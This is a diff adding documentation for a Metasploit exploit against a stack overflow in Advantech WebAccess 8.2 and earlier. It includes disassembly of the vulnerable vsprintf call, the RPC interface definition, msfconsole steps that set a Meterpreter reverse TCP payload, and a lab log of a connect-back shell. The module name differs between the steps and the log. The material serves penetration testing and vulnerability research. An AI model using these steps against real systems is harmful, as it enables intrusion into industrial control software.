|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | + [Advantech WebAccess <= 8.2](http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170330.exe) |
| 4 | + |
| 5 | +## Vulnerability Analysis |
| 6 | + |
| 7 | +The stack overflow happens in sub_10004BC8: |
| 8 | + |
| 9 | +``` |
| 10 | +.text:10004BC8 ; int __cdecl sub_10004BC8(char *Format, char) |
| 11 | +.text:10004BC8 sub_10004BC8 proc near ; |
| 12 | +.text:10004BC8 ; |
| 13 | +.text:10004BC8 |
| 14 | +.text:10004BC8 lpWindowName = dword ptr -818h |
| 15 | +.text:10004BC8 hWnd = dword ptr -814h |
| 16 | +.text:10004BC8 lpClassName = dword ptr -810h |
| 17 | +.text:10004BC8 Args = dword ptr -80Ch |
| 18 | +.text:10004BC8 lpBaseAddress = dword ptr -808h |
| 19 | +.text:10004BC8 hFileMappingObject= dword ptr -804h |
| 20 | +.text:10004BC8 Dest = byte ptr -800h |
| 21 | +.text:10004BC8 Format = dword ptr 8 |
| 22 | +.text:10004BC8 arg_4 = byte ptr 0Ch |
| 23 | +.text:10004BC8 |
| 24 | +.text:10004BC8 push ebp |
| 25 | +.text:10004BC9 mov ebp, esp |
| 26 | +.text:10004BCB sub esp, 818h |
| 27 | +.text:10004BD1 mov [ebp+lpWindowName], offset aDebugScreen1 ; "Debug Screen1" |
| 28 | +.text:10004BDB mov [ebp+lpClassName], offset aDebugwclass1 ; "debugWClass1" |
| 29 | +.text:10004BE5 lea eax, [ebp+arg_4] |
| 30 | +.text:10004BE8 mov [ebp+Args], eax |
| 31 | +.text:10004BEE mov ecx, [ebp+Args] |
| 32 | +.text:10004BF4 push ecx ; Args |
| 33 | +.text:10004BF5 mov edx, [ebp+Format] |
| 34 | +.text:10004BF8 push edx ; Format |
| 35 | +.text:10004BF9 lea eax, [ebp+Dest] |
| 36 | +.text:10004BFF push eax ; Dest |
| 37 | +.text:10004C00 call ds:vsprintf ; overflow |
| 38 | +``` |
| 39 | + |
| 40 | +The corresponding IDL is below: |
| 41 | + |
| 42 | +``` |
| 43 | +[ |
| 44 | + uuid(5d2b62aa-ee0a-4a95-91ae-b064fdb471fc), |
| 45 | + version(1.0) |
| 46 | +] |
| 47 | +
|
| 48 | +interface target_interface |
| 49 | +{ |
| 50 | +
|
| 51 | +/* opcode: 0x01, address: 0x00401260 */ |
| 52 | +
|
| 53 | +void sub_401260 ( |
| 54 | + [in] handle_t arg_1, |
| 55 | + [in] long arg_2, |
| 56 | + [in] long arg_3, |
| 57 | + [in] long arg_4, |
| 58 | + [in][ref][size_is(arg_4)] char * arg_5, |
| 59 | + [out][ref] long * arg_6 |
| 60 | +); |
| 61 | +
|
| 62 | +} |
| 63 | +``` |
| 64 | + |
| 65 | +## Verification Steps |
| 66 | + |
| 67 | + 1. Start `msfconsole` |
| 68 | + 2. `use exploits/windows/scada/advantech_webaccess_webvrpcs_bof` |
| 69 | + 3. `set payload windows/meterpreter/reverse_tcp` |
| 70 | + 4. `set LHOST XXX.XXX.XXX.XXX` |
| 71 | + 5. `exploit` |
| 72 | + 6. **Verify** you get a connect back meterpreter |
| 73 | + |
| 74 | + |
| 75 | +## Options |
| 76 | + |
| 77 | + None. |
| 78 | + |
| 79 | +## Scenarios |
| 80 | + |
| 81 | + ``` |
| 82 | +saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/advantech.rc |
| 83 | +[*] Processing scripts/advantech.rc for ERB directives. |
| 84 | +resource (scripts/advantech.rc)> use exploit/windows/scada/advantech_webaccess_opcode_80061 |
| 85 | +resource (scripts/advantech.rc)> set payload windows/meterpreter/reverse_tcp |
| 86 | +payload => windows/meterpreter/reverse_tcp |
| 87 | +resource (scripts/advantech.rc)> set RHOST 172.16.175.145 |
| 88 | +RHOST => 172.16.175.145 |
| 89 | +resource (scripts/advantech.rc)> set LHOST 172.16.175.1 |
| 90 | +LHOST => 172.16.175.1 |
| 91 | +resource (scripts/advantech.rc)> exploit |
| 92 | +[*] Started reverse TCP handler on 172.16.175.1:4444 |
| 93 | +[*] 172.16.175.145:4592 - Binding to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.145[4592] ... |
| 94 | +[*] 172.16.175.145:4592 - Bound to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.145[4592] ... |
| 95 | +[+] 172.16.175.145:4592 - Got a handle: 0x01d729e0 |
| 96 | +[*] 172.16.175.145:4592 - Trying target Advantech WebAccess <= 8.2... |
| 97 | +[*] Sending stage (957487 bytes) to 172.16.175.145 |
| 98 | +[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.145:49351) at 2017-05-31 14:38:13 -0500 |
| 99 | +[*] 172.16.175.145:4592 - The DCERPC service did not reply to our request |
| 100 | +
|
| 101 | +meterpreter > shell |
| 102 | +Process 5208 created. |
| 103 | +Channel 1 created. |
| 104 | +Microsoft Windows [Version 6.1.7601] |
| 105 | +Copyright (c) 2009 Microsoft Corporation. All rights reserved. |
| 106 | +
|
| 107 | +C:\WebAccess\Node> |
| 108 | +``` |
0 commit comments